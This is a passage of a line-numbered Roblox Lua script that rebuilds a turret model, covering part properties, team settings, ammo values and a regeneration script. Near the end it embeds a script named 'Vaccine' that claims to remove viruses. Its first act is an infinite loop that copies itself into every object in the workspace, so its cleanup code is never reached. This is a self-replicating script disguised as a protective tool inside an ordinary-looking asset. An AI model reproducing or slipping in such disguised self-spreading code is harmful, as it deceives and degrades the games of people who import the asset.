| 2471 | Part156.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686) | |
| 2472 | Part156.Velocity = Vector3.new(-4.30668783, 1.86988568, 19.2933846) | |
| 2473 | Part156.FormFactor = Enum.FormFactor.Plate | |
| 2474 | Part156.Size = Vector3.new(2, 0.400000006, 1) | |
| 2475 | Part156.CFrame = CFrame.new(-47.2521019, 12.2258825, 124.329163, 0.170334131, 0.151520908, 0.973656714, -0.672210753, 0.740353346, 0.00238548429, -0.72049135, -0.654906034, 0.227968112) | |
| 2476 | Part156.BackSurface = Enum.SurfaceType.Weld | |
| 2477 | Part156.BottomSurface = Enum.SurfaceType.Weld | |
| 2478 | Part156.TopSurface = Enum.SurfaceType.Smooth | |
| 2479 | Part156.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 2480 | Part156.Position = Vector3.new(-47.2521019, 12.2258825, 124.329163) | |
| 2481 | Part156.Orientation = Vector3.new(-0.140000001, 76.8199997, -42.2399979) | |
| 2482 | Part156.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 2483 | SpecialMesh157.Parent = Part156 | |
| 2484 | SpecialMesh157.MeshType = Enum.MeshType.Wedge | |
| 2485 | BoolValue158.Name = "TeamGame" | |
| 2486 | BoolValue158.Parent = Model111 | |
| 2487 | BoolValue158.Value = true | |
| 2488 | BrickColorValue159.Name = "TeamColor" | |
| 2489 | BrickColorValue159.Parent = Model111 | |
| 2490 | BrickColorValue159.Value = BrickColor.new("White")
| |
| 2491 | BoolValue160.Name = "Target Zombies" | |
| 2492 | BoolValue160.Parent = Model111 | |
| 2493 | BoolValue160.Value = true | |
| 2494 | BoolValue161.Name = "Target Humanoids" | |
| 2495 | BoolValue161.Parent = Model111 | |
| 2496 | IntValue162.Name = "ScanRange" | |
| 2497 | IntValue162.Parent = Model111 | |
| 2498 | IntValue162.Value = 300 | |
| 2499 | Humanoid163.Parent = Model111 | |
| 2500 | Humanoid163.Health = 0 | |
| 2501 | Humanoid163.MaxHealth = 0 | |
| 2502 | IntValue164.Name = "Clips" | |
| 2503 | IntValue164.Parent = Model111 | |
| 2504 | IntValue164.Value = 10 | |
| 2505 | IntValue165.Name = "AmmoClip" | |
| 2506 | IntValue165.Parent = Model111 | |
| 2507 | IntValue165.Value = 100 | |
| 2508 | Script166.Name = "RegenScript" | |
| 2509 | Script166.Parent = Model111 | |
| 2510 | Script166.Disabled = true | |
| 2511 | table.insert(cors,sandbox(Script166,function() | |
| 2512 | model = script.Parent | |
| 2513 | backup = model:clone() | |
| 2514 | active = false | |
| 2515 | function Regen(part) | |
| 2516 | if(active == false) then | |
| 2517 | active = true | |
| 2518 | script.Parent:breakJoints() | |
| 2519 | script.Parent.Brain.Destroyed.Value = true | |
| 2520 | wait(1) | |
| 2521 | model:remove() | |
| 2522 | model = backup:Clone() | |
| 2523 | wait(30) | |
| 2524 | model.Parent = game.Workspace | |
| 2525 | model:MakeJoints() | |
| 2526 | end | |
| 2527 | end | |
| 2528 | ||
| 2529 | function retriveParts(model,myColor) | |
| 2530 | local raw_model = model:GetChildren() | |
| 2531 | for i=1,#raw_model do | |
| 2532 | local part = raw_model[i] | |
| 2533 | if(part ~= nil) then | |
| 2534 | part.BrickColor = myColor | |
| 2535 | end | |
| 2536 | end | |
| 2537 | end | |
| 2538 | ||
| 2539 | function setTeam() | |
| 2540 | local brain = script.Parent.Brain | |
| 2541 | local isTeamGame = script.Parent.TeamGame.Value | |
| 2542 | if(isTeamGame == true) then | |
| 2543 | retriveParts(script.Parent.BodyKit.TeamColorBricks,script.Parent.TeamColor.Value) | |
| 2544 | if(brain:findFirstChild("Point") ~= nil) then
| |
| 2545 | brain.Point.BrickColor = script.Parent.TeamColor.Value | |
| 2546 | end | |
| 2547 | if(brain:findFirstChild("TurretEngine") ~= nil) then
| |
| 2548 | brain.TurretEngine.BrickColor = script.Parent.TeamColor.Value | |
| 2549 | end | |
| 2550 | if(script.Parent:findFirstChild("Head") ~= nil) then
| |
| 2551 | script.Parent.Head.BrickColor = script.Parent.TeamColor.Value | |
| 2552 | end | |
| 2553 | else | |
| 2554 | retriveParts(script.Parent.BodyKit.TeamColorBricks,BrickColor.new("Dark stone grey"))
| |
| 2555 | if(brain:findFirstChild("Point") ~= nil) then
| |
| 2556 | brain.Point.BrickColor = BrickColor.new("Dark stone grey")
| |
| 2557 | end | |
| 2558 | if(brain:findFirstChild("TurretEngine") ~= nil) then
| |
| 2559 | brain.TurretEngine.BrickColor = BrickColor.new("Dark stone grey")
| |
| 2560 | end | |
| 2561 | if(script.Parent:findFirstChild("Head") ~= nil) then
| |
| 2562 | script.Parent.Head.BrickColor = BrickColor.new("Dark stone grey")
| |
| 2563 | end | |
| 2564 | end | |
| 2565 | end | |
| 2566 | setTeam() | |
| 2567 | model.BodyKit.ChildRemoved:connect(Regen) | |
| 2568 | model.ChildRemoved:connect(Regen) | |
| 2569 | model.Brain.ChildRemoved:connect(Regen) | |
| 2570 | script.Parent.TeamColor.Changed:connect(setTeam) | |
| 2571 | script.Parent.TeamGame.Changed:connect(setTeam) | |
| 2572 | ||
| 2573 | end)) | |
| 2574 | Script167.Name = "Vaccine" | |
| 2575 | Script167.Parent = Model0 | |
| 2576 | table.insert(cors,sandbox(Script167,function() | |
| 2577 | function spread() -- created by szymkom | |
| 2578 | local stuff = game.Workspace:GetChildren() | |
| 2579 | for i = 1, #stuff do | |
| 2580 | if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
| |
| 2581 | local clone = script:clone() | |
| 2582 | clone.Parent = stuff[i] | |
| 2583 | end | |
| 2584 | end | |
| 2585 | end | |
| 2586 | ||
| 2587 | while true do | |
| 2588 | wait(.0) | |
| 2589 | spread() | |
| 2590 | end | |
| 2591 | ||
| 2592 | function GetAllItems(mdl) | |
| 2593 | local objs = {}
| |
| 2594 | function Search(obj) | |
| 2595 | if obj~=workspace then | |
| 2596 | table.insert(objs,obj) | |
| 2597 | end | |
| 2598 | if #obj:GetChildren() > 0 then | |
| 2599 | for i, v in ipairs(obj:GetChildren()) do | |
| 2600 | Search(v) | |
| 2601 | end | |
| 2602 | end | |
| 2603 | end | |
| 2604 | Search(mdl) | |
| 2605 | return objs | |
| 2606 | end | |
| 2607 | ||
| 2608 | ||
| 2609 | ||
| 2610 | for i, v in ipairs(GetAllItems(workspace)) do | |
| 2611 | if v.className == "Script" then | |
| 2612 | if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then | |
| 2613 | v.Parent = game.Lighting --Just in case it has a removal prevention. | |
| 2614 | t = Instance.new("ObjectValue")
| |
| 2615 | t.Name = "IsAVirus" | |
| 2616 | t.Parent = v | |
| 2617 | end | |
| 2618 | end | |
| 2619 | end | |
| 2620 | ||
| 2621 | for i, v in ipairs(game.Lighting:GetChildren()) do | |
| 2622 | if v:findFirstChild("IsAVirus") then --Only remove the viruses.
| |
| 2623 | v:remove() | |
| 2624 | end | |
| 2625 | end | |
| 2626 | ||
| 2627 | ||
| 2628 | print("Virus debugged! All clean!")
| |
| 2629 | end)) | |
| 2630 | for i,v in pairs(mas:GetChildren()) do | |
| 2631 | v.Parent = workspace | |
| 2632 | pcall(function() v:MakeJoints() end) | |
| 2633 | end | |
| 2634 | mas:Destroy() | |
| 2635 | for i,v in pairs(cors) do | |
| 2636 | spawn(function() | |
| 2637 | pcall(v) | |
| 2638 | end) | |
| 2639 | end |